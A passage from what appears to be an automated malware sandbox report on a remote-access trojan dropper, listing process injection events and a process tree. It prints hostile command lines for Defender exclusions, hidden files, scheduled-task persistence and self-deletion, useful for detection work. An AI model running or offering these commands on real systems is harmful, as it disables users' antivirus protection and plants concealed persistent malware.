Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Windows.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2248 wrote to memory of 1584 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2248 wrote to memory of 1584 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2248 wrote to memory of 1584 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2248 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe
PID 2248 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe
PID 2248 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe
PID 1584 wrote to memory of 2616 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1584 wrote to memory of 2616 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1584 wrote to memory of 2616 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 1584 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1584 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1584 wrote to memory of 2728 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1984 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 1984 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 1984 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe
PID 1984 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 1984 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 1984 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe C:\Users\Admin\AppData\Local\Temp\sisk.exe
PID 2604 wrote to memory of 1852 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 2604 wrote to memory of 1852 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 2604 wrote to memory of 1852 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\XClient.exe
PID 2604 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 2604 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 2604 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 2604 wrote to memory of 2872 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Cheat.exe
PID 2604 wrote to memory of 2900 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Built.exe
PID 2604 wrote to memory of 2900 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Built.exe
PID 2604 wrote to memory of 2900 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Built.exe
PID 2604 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 2604 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 2604 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 2604 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe C:\ProgramData\Fluxus V7.exe
PID 2900 wrote to memory of 1000 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 2900 wrote to memory of 1000 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 2900 wrote to memory of 1000 N/A C:\ProgramData\Built.exe C:\ProgramData\Built.exe
PID 2616 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2616 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2616 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 2616 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2616 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2616 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 2728 wrote to memory of 324 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2728 wrote to memory of 324 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2728 wrote to memory of 324 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2728 wrote to memory of 596 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2728 wrote to memory of 596 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2728 wrote to memory of 596 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 3048 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3048 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3048 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe
PID 3048 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 3048 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 3048 wrote to memory of 1932 N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe
PID 1852 wrote to memory of 1780 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 1852 wrote to memory of 1780 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 1852 wrote to memory of 1780 N/A C:\ProgramData\XClient.exe C:\Windows\System32\schtasks.exe
PID 2220 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2220 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2220 wrote to memory of 2256 N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe C:\Windows\System32\attrib.exe
PID 2556 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2556 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2556 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1680 wrote to memory of 2096 N/A C:\ProgramData\Fluxus V7.exe C:\Windows\SysWOW64\WerFault.exe
PID 1680 wrote to memory of 2096 N/A C:\ProgramData\Fluxus V7.exe C:\Windows\SysWOW64\WerFault.exe

Uses Task Scheduler COM API

persistence

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe

"C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

"C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

"C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe"

C:\Users\Admin\AppData\Local\Temp\sisk.exe

"C:\Users\Admin\AppData\Local\Temp\sisk.exe"

C:\ProgramData\XClient.exe

"C:\ProgramData\XClient.exe"

C:\ProgramData\Cheat.exe

"C:\ProgramData\Cheat.exe"

C:\ProgramData\Built.exe

"C:\ProgramData\Built.exe"

C:\ProgramData\Built.exe

"C:\ProgramData\Built.exe"

C:\ProgramData\Fluxus V7.exe

"C:\ProgramData\Fluxus V7.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost\$77svchost.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchоst" /tr "C:\ProgramData\svchоst.exe"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\svchost\$77svchost.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sisk.exe'

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1680 -s 1044

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sisk.exe'

C:\Windows\system32\schtasks.exe

"schtasks.exe" /query /TN ssbobr2.0.exe

C:\Windows\system32\schtasks.exe

"schtasks.exe" /Create /SC ONCE /TN "ssbobr2.0.exe" /TR "C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe \"\ssbobr2.0.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST

C:\Users\Admin\AppData\Local\Temp\Windows.exe

"C:\Users\Admin\AppData\Local\Temp\Windows.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\ProgramData\Cheat.exe"

C:\Windows\system32\schtasks.exe

"schtasks.exe" /query /TN ssbobr2.0.exe

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 5

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp8630.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\svchost\$77svchost.exe

"C:\Users\Admin\svchost\$77svchost.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {6382DBBE-B0FC-418C-9B2A-C8E5B10CB244} S-1-5-21-2297530677-1229052932-2803917579-1000:HKULBIBU\Admin:Interactive:[1]

C:\ProgramData\svchоst.exe

C:\ProgramData\svchоst.exe

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\ProgramData\svchоst.exe

C:\ProgramData\svchоst.exe

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

